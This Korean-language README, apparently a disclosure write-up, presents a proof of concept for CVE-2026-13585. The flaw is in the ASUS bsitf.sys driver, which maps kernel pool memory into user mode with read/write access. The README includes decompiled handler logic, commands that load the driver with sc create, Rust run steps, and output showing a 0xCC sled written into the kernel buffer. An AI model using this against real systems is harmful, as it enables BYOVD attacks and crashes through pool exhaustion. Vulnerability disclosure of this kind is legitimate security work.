
CVE-2026-13585에 대한 PoC
ASUS bsitf.sys (또는 AsusBSItf.sys로 배포됨) 커널 드라이버는 IOCTL 0x222808을 노출하며, 이 IOCTL은 공격자가 제어하는 크기의 물리적으로 연속된 커널 메모리를 할당하고, 이를 호출 프로세스의 주소 공간에 읽기/쓰기 권한으로 매핑한 후, 사용자 모드 가상 주소와 물리적 주소를 호출자에게 반환합니다.
장치를 열기 위해서는 관리자 권한이 필요하므로, 이는 관리자에서 커널로의 권한 상승입니다. BYOVD(Bring Your Own Vulnerable Driver) 시나리오에서 이미 관리자 권한을 가진 공격자(예: 사회 공학 또는 별도의 익스플로잇을 통해)는 이 정식 서명된 드라이버를 로드하여 커널 익스플로잇 없이 임의의 커널 메모리에 접근할 수 있습니다.
| 버전 | 파일명 | 패키지 | 풀 유형 |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool (실행 가능) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
모든 버전은 장치 \Device\bsitf를 생성하며 심볼릭 링크 \DosDevices\bsitf를 만듭니다.
매핑된 버퍼는 새로운 커널 풀 할당이며, 임의의 커널 주소가 아닙니다. 호출자는 내용을 제어할 수 있지만 위치는 제어할 수 없습니다. 이는 진정한 임의 커널 읽기/쓰기에 비해 익스플로잇 가능성을 제한합니다.
NonPagedPool이 고갈되어 BSOD가 발생합니다. 할당 크기나 제한이 적용되지 않습니다.NonPagedPool(실행 가능)입니다. 셸코드를 사용자 모드에서 매핑된 버퍼에 쓸 수 있지만, 커널 실행을 버퍼 주소로 리디렉션하려면 별도의 취약점이 필요합니다.v3.1.x 버전(NonPagedPoolNx)에서는 버퍼가 실행 불가능하며 실제 영향은 DoS와 물리적 주소 노출로 제한됩니다.
디스패치 핸들러의 IOCTL 0x222808은 입력 검증 없이 다음을 수행합니다.
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // 사용자 제어
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // 사용자 모드 가상 주소
output[1] = physical_addr; // 할당의 물리적 주소
할당 크기, 미해결 할당 수 또는 입력 검증에 대한 검사가 없습니다. 장치를 열려면 관리자 권한이 필요하지만, 핸들을 획득하면 IOCTL이 제한 없이 사용됩니다.
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# 기본: 0x1000 (4KB) 할당
cargo run --release
# 사용자 정의 크기 (16진수)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Windows 11 24H2에서 테스트 완료 (관리자 권한 필요).
NonPagedPoolNx 사용| 날짜 | 이벤트 |
|---|---|
| 2026-04-06 | 자동화된 분석을 통해 취약점 발견 |
| 2026-04-06 | Windows 11 24H2에서 PoC 확인 |
| 2026-04-06 | ASUS PSIRT에 보고서 제출 |
\Device\bsitf, 심볼릭 링크: \DosDevices\bsitfFUN_140001070이 개념 증명은 승인된 보안 연구 및 책임 있는 공개 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이를 사용하지 마십시오.